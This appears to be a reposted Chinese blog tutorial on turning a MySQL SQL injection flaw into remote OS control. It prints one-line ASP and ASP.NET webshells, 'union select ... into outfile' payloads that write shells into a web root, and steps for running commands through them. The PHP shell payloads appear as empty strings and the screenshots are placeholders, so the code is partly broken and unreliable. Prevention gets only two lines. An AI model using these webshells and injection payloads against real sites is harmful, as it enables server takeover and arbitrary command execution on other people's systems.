SQL注入漏洞实现OS远程控制及防范

一、提前了解


    1.一句话木马:

一句话木马是一种短小精悍的木马客户端,隐蔽性好,且功能强大。
**PHP**:
**ASP**:<%eval request(“test”)%>
**ASP.NET**:<%@ Page Language=“Jscript”%><%eval(Request.Item[“test”],”unsafe”);%>

        释1:eval(string),支持PHP4\5\7,将后面的string作为PHP代码运行。

    2.MySQL知识点:

select  1,2into  outfile“/var/www/html/1.txt”      //Linux操作系统
select  1,2into  outfile“c:/phpstudy/www/1.php”    //Windows操作系统

        释1:into outfile将select的结果写入到指定的目录的1.txt文件中。
        释2:在一些没有返回结果提示的注入中可以使用into outfile将结果写入到指定文件中,然后再访问获取。
        必:union联合查询,前后字段要相同。

    3.注入条件:

1、需要知道远程目录的路径;
2、远程目录要有写权限;
3、数据库开启了secure_file_priv功能。(默认是关闭)

        如何打开MySQL的secure_file_priv功能:

3.1查看当前服务开启状态:

SQL注入漏洞实现OS远程控制及防范_第1张图片

3.2修改MySQL的配置文件my.ini,修改或新增 ' secure_file_priv= ' 
	(不填写后面导出路径指可导出任意路径):

SQL注入漏洞实现OS远程控制及防范_第2张图片

3.3重启mysql服务,再次查看服务开启状态:

SQL注入漏洞实现OS远程控制及防范_第3张图片

						开启成功!		

二、构建一句话木马的sql语句:(本次基于Windows操作系统)


    1.基于PHP代码的一句话木马:


1.1构建语句: select “”,2 into outfile “c:/phpstudy/www/1.php”#


1.2payLoading:’ union select “”,2 into outfile “c:/phpstudy/www/1.php”#

    2.基于PHP的CMD命令行代码的一句话木马:


1.1构建语句: select “”,2 into outfile"c:/phpstudy/www/2.php"#


1.2payLoading:’ union select “”,2 into outfile"c:/phpstudy/www/2.php"#

三、将构建好的sql语句注入:在这里插入图片描述

SQL注入漏洞实现OS远程控制及防范_第4张图片

四、进行OS远程控制:

    1.例如基于PHP代码的一句木马:

SQL注入漏洞实现OS远程控制及防范_第5张图片

注释:test=PHP代码; : 此处的PHP代码为phpinfo()函数,查询后台安装的php版本信息,可换为所需要的PHP代码。

    2.基于PHP的cmd命令行代码的一句话木马(针对于二-2所构建的一句话木马):

SQL注入漏洞实现OS远程控制及防范_第6张图片
注释:cmd=命令行代码 : 此处的命令行代码为ipconfig,查询后台ip信息,可换为所需要的命令行代码。

五、防范sql注入OS远控


1.网站根目录上传成功后,W写权限一定要关掉;


2.MySql的secure_file_priv服务,不需要时及时关闭;

你可能感兴趣的:(web安全防护,sql注入安全学与防,mysql,数据库,php,安全,数据安全)